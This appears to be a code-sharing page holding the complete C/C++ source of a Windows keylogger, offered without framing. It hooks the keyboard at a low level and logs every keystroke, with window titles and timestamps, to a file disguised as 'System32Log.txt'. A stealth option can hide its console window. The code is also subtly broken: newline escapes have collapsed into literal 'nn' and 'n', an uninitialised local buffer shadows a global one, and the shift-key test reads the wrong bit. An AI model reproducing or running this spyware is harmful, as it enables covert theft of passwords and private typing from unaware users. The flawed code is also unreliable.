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Description:
  Save
Language: C/C++
Code:
#include <Windows.h>
#include <time.h>
#include <iostream>
#include <cstdio>

// defines whether the window is visible or not
// should be solved with makefile, not in this file
#define visible // (visible / invisible)

// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
// or you will get problems since every function uses this variable.
HHOOK _hook;

// This struct contains the data received by the hook callback. As you see in the callback function
// it contains the thing you will need: vkCode = virtual key code.
KBDLLHOOKSTRUCT kbdStruct;

int Save(int key_stroke, char *file);

extern char lastwindow[256];

// This is the callback function. Consider it the event that is raised when, in this case, 
// a key is pressed.
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
     if (nCode >= 0)
     {
          // the action is valid: HC_ACTION.
          if (wParam == WM_KEYDOWN)
          {
               // lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
               kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
               
               // save to file
               Save(kbdStruct.vkCode, "System32Log.txt");
          }
     }

     // call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops
     return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook()
{
     // Set the hook and set it to use the callback function above
     // WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
     // The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
     // function that sets and releases the hook.
     if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
     {
          MessageBox(NULL, "Failed to install hook!", "Error", MB_ICONERROR);
     }
}

void ReleaseHook()
{
     UnhookWindowsHookEx(_hook);
}

int Save(int key_stroke, char *file)
{
    char lastwindow[256];
    
     if ((key_stroke == 1) || (key_stroke == 2))
          return 0; // ignore mouse clicks
     
     
     FILE *OUTPUT_FILE;
     OUTPUT_FILE = fopen(file, "a+");
          
     
     HWND foreground = GetForegroundWindow();
    if (foreground)
    {
        char window_title[256];
        GetWindowText(foreground, window_title, 256);
        
        if(strcmp(window_title, lastwindow)!=0) {
            strcpy(lastwindow, window_title);
            
            // get time
            time_t t = time(NULL);
            struct tm *tm = localtime(&t);
            char s[64];
            strftime(s, sizeof(s), "%c", tm);
            
            fprintf(OUTPUT_FILE, "nn[Window: %s - at %s] ", window_title, s);
        }
    }


     std::cout << key_stroke << 'n';

     if (key_stroke == VK_BACK)
          fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
     else if (key_stroke == VK_RETURN)
          fprintf(OUTPUT_FILE, "%s", "n");
     else if (key_stroke == VK_SPACE)
          fprintf(OUTPUT_FILE, "%s", " ");
     else if (key_stroke == VK_TAB)
          fprintf(OUTPUT_FILE, "%s", "[TAB]");
     else if (key_stroke == VK_SHIFT || key_stroke == VK_LSHIFT || key_stroke == VK_RSHIFT)
          fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
     else if (key_stroke == VK_CONTROL || key_stroke == VK_LCONTROL || key_stroke == VK_RCONTROL)
          fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
     else if (key_stroke == VK_ESCAPE)
          fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
     else if (key_stroke == VK_END)
          fprintf(OUTPUT_FILE, "%s", "[END]");
     else if (key_stroke == VK_HOME)
          fprintf(OUTPUT_FILE, "%s", "[HOME]");
     else if (key_stroke == VK_LEFT)
          fprintf(OUTPUT_FILE, "%s", "[LEFT]");
     else if (key_stroke == VK_UP)
          fprintf(OUTPUT_FILE, "%s", "[UP]");
     else if (key_stroke == VK_RIGHT)
          fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
     else if (key_stroke == VK_DOWN)
          fprintf(OUTPUT_FILE, "%s", "[DOWN]");
     else if (key_stroke == 190 || key_stroke == 110)
          fprintf(OUTPUT_FILE, "%s", ".");
     else if (key_stroke == 189 || key_stroke == 109)
          fprintf(OUTPUT_FILE, "%s", "-");
     else if (key_stroke == 20)
          fprintf(OUTPUT_FILE, "%s", "[CAPSLOCK]");
     else {
          if (key_stroke >= 96 && key_stroke <= 105)
          {
               key_stroke -= 48;
               }
          else if (key_stroke >= 65 && key_stroke <= 90) { // A-Z
                                                                 // check caps lock
               bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);

               // check shift key
               if ((GetKeyState(VK_SHIFT) & 0x0001) != 0 || (GetKeyState(VK_LSHIFT) & 0x0001) != 0 || (GetKeyState(VK_RSHIFT) & 0x0001) != 0) {
                    lowercase = !lowercase;
               }

               if (lowercase) key_stroke += 32;
          }
          fprintf(OUTPUT_FILE, "%c", key_stroke);
    }
     // NOTE: Numpad-Keys seem to print as lowercase letters

     fclose(OUTPUT_FILE);
     return 0;
}

void Stealth()
{
     #ifdef visible
          ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1); // visible window
     #endif // visible

     #ifdef invisible
          ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); // invisible window
     #endif // invisible
}

int main()
{
     // visibility of window
     Stealth();

     // Set the hook
     SetHook();

     // loop to keep the console application running.
     MSG msg;
     while (GetMessage(&msg, NULL, 0, 0))
     {
     }
}

          
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